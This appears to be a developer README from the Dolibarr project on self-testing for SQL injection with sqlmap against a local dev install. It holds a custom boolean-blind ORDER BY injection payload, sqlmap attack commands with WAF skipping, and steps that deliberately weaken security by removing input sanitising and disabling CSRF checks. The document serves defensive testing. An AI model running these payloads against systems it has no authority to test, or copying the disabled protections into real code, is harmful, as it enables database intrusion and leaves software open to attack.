README 2.4 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172
  1. To test there is no SQL injection, we can use:
  2. -- Installation of sqlmap
  3. -------------------------
  4. git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap
  5. cd sqlmap
  6. ./sqlmap.py --update
  7. ./sqlmap.py --purge
  8. Add, into file ~/git/sqlmap/data/xml/payloads/boolean_blind.xml, the custom rule:
  9. <!-- Boolean-based blind tests - WHERE/HAVING clause -->
  10. <test>
  11. <title>Our_ORDERBY_Payload</title>
  12. <stype>1</stype>
  13. <level>1</level>
  14. <risk>1</risk>
  15. <clause>1</clause>
  16. <where>1</where>
  17. <vector>,(select * from(select (CASE WHEN ([INFERENCE]) THEN 1 ELSE exp(710) END))a)</vector>
  18. <request>
  19. <payload>,(select * from(select (CASE WHEN (1=1) THEN 1 ELSE exp(710) END))a)</payload>
  20. </request>
  21. <response>
  22. <comparison>,(select * from(select (CASE WHEN (1=2) THEN 1 ELSE exp(710) END))a)</comparison>
  23. </response>
  24. <details>
  25. <dbms>mysql</dbms>
  26. <os>linux</os>
  27. </details>
  28. </test>
  29. -- Launch sqlmap on a given url/parameter
  30. -----------------------------------------
  31. Introduce a vulnerability by changing the GETPOST on parameter search_status into GETPOST('search_status', 'none') and removing $db->sanitize when parameter is used;
  32. ./sqlmap.py --fresh-queries -u "http://localhostdev/comm/propal/list.php?search_status=*"
  33. ./sqlmap.py -A "securitytest" --threads=4 -u "http://localhostdev/comm/propal/list.php?search_status=*" --dbms=mysql --os=linux --technique=B --batch --skip-waf \
  34. --cookie="DOLSESSID_xxxxxx=yyyyyyyy;" --prefix='1' -v 4 > sqlmap.txt
  35. Check vulnerability is found into sqlmap.txt. Scanner is working.
  36. -- Launch sqlmap on all the application
  37. ---------------------------------------
  38. Set $dolibarr_nocsrfcheck='1' into conf.php file to make access easier.
  39. With prefix (required to have some rules working)
  40. ./sqlmap.py -A "securitytest" --threads=4 -u "http://localhostdev/" --crawl=2 --crawl-exclude="logout|user\/card|custom\/" \
  41. --skip=sortorder --skip=sortfield --dbms=mysql --os=linux --technique=B --batch --skip-waf \
  42. --cookie="DOLSESSID_xxxxxxxxx=yyyyyyyyyyyyyyyy;" --prefix='1' -v
  43. Without prefix
  44. ./sqlmap.py -A "securitytest" --threads=4 -u "http://localhostdev/" --crawl=2 --crawl-exclude="logout|user\/card|custom\/" \
  45. --skip=sortorder --skip=sortfield --dbms=mysql --os=linux --technique=B --batch --skip-waf \
  46. --cookie="DOLSESSID_xxxxxxxxx=yyyyyyyyyyyyyyyy;" -v